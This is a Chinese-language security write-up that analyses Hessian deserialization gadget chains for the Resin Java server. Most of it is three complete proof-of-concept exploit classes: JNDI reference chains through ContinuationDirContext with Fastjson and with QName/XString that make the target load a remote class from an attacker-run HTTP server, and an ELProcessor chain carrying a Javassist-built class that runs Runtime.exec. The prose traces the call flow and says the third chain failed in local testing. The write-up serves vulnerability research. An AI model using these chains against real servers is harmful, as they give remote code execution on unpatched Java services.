Resin反序列化链分析

前言

Resin是一个轻量级的、高性能的开源Java应用服务器。它是由Caucho Technology开发的，旨在提供可靠的Web应用程序和服务的运行环境。和Tomcat一样是个服务器，它和hessian在一个group里，所以有一定的联系

<dependencies>
  <dependency>
    <groupId>com.caucho</groupId>
    <artifactId>resin</artifactId>
    <version>4.0.64</version>
  </dependency>
</dependencies>

ContinuationDirContext+Fastjson利用链

攻击测试

因为是JDNI，所以还是得注意下jdk版本，这里用jdk8u65

package org.example;


import com.alibaba.fastjson.JSONObject;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import sun.reflect.ReflectionFactory;

import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class resinPoc {
    public static void main(String[] args) throws Exception {
        //URLCLASSLOADER RCE
        Reference refObj=new Reference("evilref","evilref","http://127.0.0.1:8000/");
        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        ccCons.setAccessible(true);
        CannotProceedException cpe = new CannotProceedException();

        cpe.setResolvedObj(refObj);
        DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());

//       jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("f12",ctx);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(baos);
        baos.write(67);
        out.getSerializerFactory().setAllowNonSerializable(true);
        out.writeObject(jsonObject);
        out.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Hessian2Input input = new Hessian2Input(bais);
        input.readObject();
        //String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
        //System.out.println(ret);

    }
    public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }
    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
        //writeReplaceMethod.setAccessible(true);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
}

流程分析

之前研究过Hessian反序列化，没想到它会触发反序列化对象的toString方法，经过调试，在过完最后那个map.put(in.readObject(),in.readObject())后，obj就是要反序列化的对象，这里有个字符拼接，所以触发了obj.toString()

这里简单提一下，接下来看正式的流程，既然这里触发了JSONObject的toString方法，说明就能任意调用getter了，我们给JSONObject传入的对象是ContinuationDirContext，这里直接给出调用的getter方法，
ContinuationContext是ContinuationDirContext的父类
ContinuationContext#getTargetContext()
我们在这个getter方法上打个断点

进入NamingManager.getContext，这里面的cpe是我们恶意构造的


跟进getObjectInstance方法

这个引用一个对象工厂

进入里面会进行类加载

最终是通过URLClassLoader进行类加载的

toString+Qname利用链

toString的触发方式有很多，这里采用HashMap+XString来触发

package org.example;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.caucho.naming.QName;
import com.sun.org.apache.xpath.internal.objects.XString;
import sun.reflect.ReflectionFactory;
import com.alibaba.fastjson.JSONObject;
import javax.naming.CannotProceedException;
import javax.naming.Reference;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class XstringChain {
    public static void main(String[] args) throws Exception {
        Reference refObj=new Reference("evilref","evilref","http://localhost:8000/");
        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        ccCons.setAccessible(true);
        CannotProceedException cpe = new CannotProceedException();

        cpe.setResolvedObj(refObj);
        DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());
        QName qName = new QName(ctx, "boo", "gii");
        String unhash = unhash(qName.hashCode());
        XString xString = new XString(unhash);
        HashMap<Object, Object> map = makeMap(qName, xString);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(baos);
        out.getSerializerFactory().setAllowNonSerializable(true);
        out.writeObject(map);
        out.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Hessian2Input input = new Hessian2Input(bais);
        input.readObject();
        //String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
        //System.out.println(ret);

    }
    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }
    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
        //writeReplaceMethod.setAccessible(true);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static String unhash ( int hash ) {
        int target = hash;
        StringBuilder answer = new StringBuilder();
        if ( target < 0 ) {
            // String with hash of Integer.MIN_VALUE, 0x80000000
            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

            if ( target == Integer.MIN_VALUE )
                return answer.toString();
            // Find target without sign bit set
            target = target & Integer.MAX_VALUE;
        }

        unhash0(answer, target);
        return answer.toString();
    }
    private static void unhash0 ( StringBuilder partial, int target ) {
        int div = target / 31;
        int rem = target % 31;

        if ( div <= Character.MAX_VALUE ) {
            if ( div != 0 )
                partial.append((char) div);
            partial.append((char) rem);
        }
        else {
            unhash0(partial, div);
            partial.append((char) rem);
        }
    }
}

unhash的目的是为了绕过hashmap的hashcode判断，进入equals，这个链不是通过hashmap的readobject触发，之前讲Hessian我们说过Hessian反序列化的流程里面会触发hashmap的put方法，那么就会调用hashcode或者是equals。


触发QName的toString方法

进入composeName

调用getTargetContext，然后就是上面那条链了

ResouceRef+ELProccessor RCE 利用链

我本地测试没成功，在实例化javax.el.ELProcessor时的时候throw了一个java.lang.reflect.InvocationTargetException，很麻

package org.example;
import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.naming.ResourceRef;
import sun.reflect.ReflectionFactory;
import com.alibaba.fastjson.JSONObject;

import javax.el.ELProcessor;
import javax.naming.CannotProceedException;
import javax.naming.StringRefAddr;
import javax.naming.directory.DirContext;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Base64;
import java.util.HashMap;
import java.util.Hashtable;

public class ELProcessChain {
    public static void main(String[] args) throws Exception {
        ClassPool pool = new ClassPool();
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        CtClass cc = pool.makeClass("Cat");
        String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
        cc.makeClassInitializer().insertBefore(cmd);
        String randomClassName = "EvilCat" + System.nanoTime();
        cc.setName(randomClassName);
        cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        byte[] bytes = cc.toBytecode();
        String s1 = Base64.getEncoder().encodeToString(bytes);
        System.out.println(s1);
        String x = "var str='"+s1+"';var Thread = Java.type('java.lang.Thread');var tt=Thread.currentThread().getContextClassLoader();var b64 = Java.type('sun.misc.BASE64Decoder');var b=new b64().decodeBuffer(str);var byteArray = Java.type('byte[]');var int = Java.type('int');var defineClassMethod = java.lang.ClassLoader.class.getDeclaredMethod('defineClass',byteArray.class,int.class,int.class);defineClassMethod.setAccessible(true);var cc = defineClassMethod.invoke(tt,b,0,b.length);cc.newInstance();";
        //String x = "java.lang.Runtime.getRuntime().exec(\\\"calc\\\")";
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
        resourceRef.add(new StringRefAddr("forceString", "pupi1=eval"));
        resourceRef.add(new StringRefAddr("pupi1", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"js\").eval(\""+ x +"\")"));
        Class<?> ccCl = Class.forName("javax.naming.spi.ContinuationDirContext"); //$NON-NLS-1$
        Constructor<?> ccCons = ccCl.getDeclaredConstructor(CannotProceedException.class, Hashtable.class);
        ccCons.setAccessible(true);
        CannotProceedException cpe = new CannotProceedException();

        cpe.setResolvedObj(resourceRef);
        DirContext ctx = (DirContext) ccCons.newInstance(cpe, new Hashtable<>());

//       jdk.nashorn.internal.objects.NativeString str = new jdk.nashorn.internal.objects.NativeString();
        JSONObject jsonObject = new JSONObject();
        jsonObject.put("f12",ctx);
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        Hessian2Output out = new Hessian2Output(baos);
        baos.write(67);
        out.getSerializerFactory().setAllowNonSerializable(true);
        out.writeObject(jsonObject);
        out.flushBuffer();

        ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
        Hessian2Input input = new Hessian2Input(bais);
        input.readObject();
        //String ret = Base64.getEncoder().encodeToString(baos.toByteArray());
        //System.out.println(ret);

    }
    public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
        HashMap<Object, Object> s = new HashMap<>();
        setFieldValue(s, "size", 2);
        Class<?> nodeC;
        try {
            nodeC = Class.forName("java.util.HashMap$Node");
        }
        catch ( ClassNotFoundException e ) {
            nodeC = Class.forName("java.util.HashMap$Entry");
        }
        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
        nodeCons.setAccessible(true);

        Object tbl = Array.newInstance(nodeC, 2);
        Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
        Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
        setFieldValue(s, "table", tbl);
        return s;
    }
    public static <T> T createWithoutConstructor(Class<T> classToInstantiate) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
    }
    public static String serial(Object o) throws IOException, NoSuchFieldException {
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(baos);
        //Field writeReplaceMethod = ObjectStreamClass.class.getDeclaredField("writeReplaceMethod");
        //writeReplaceMethod.setAccessible(true);
        oos.writeObject(o);
        oos.close();

        String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
        return base64String;

    }

    public static <T> T createWithConstructor(Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
        Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
        objCons.setAccessible(true);
        Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
        sc.setAccessible(true);
        return (T) sc.newInstance(consArgs);
    }
    public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
        Field field = obj.getClass().getDeclaredField(fieldName);
        field.setAccessible(true);
        field.set(obj, value);
    }
    public static String unhash ( int hash ) {
        int target = hash;
        StringBuilder answer = new StringBuilder();
        if ( target < 0 ) {
            // String with hash of Integer.MIN_VALUE, 0x80000000
            answer.append("\\u0915\\u0009\\u001e\\u000c\\u0002");

            if ( target == Integer.MIN_VALUE )
                return answer.toString();
            // Find target without sign bit set
            target = target & Integer.MAX_VALUE;
        }

        unhash0(answer, target);
        return answer.toString();
    }
    private static void unhash0 ( StringBuilder partial, int target ) {
        int div = target / 31;
        int rem = target % 31;

        if ( div <= Character.MAX_VALUE ) {
            if ( div != 0 )
                partial.append((char) div);
            partial.append((char) rem);
        }
        else {
            unhash0(partial, div);
            partial.append((char) rem);
        }
    }
}

说下大致流程，前面的步骤一样，到这里，进入getObjectInstance

这里beanClass是javax.el.ELProcessor，本来实例化后再往后就会取值进行调用执行了，但是在这实例化处si了

这里invoke，rce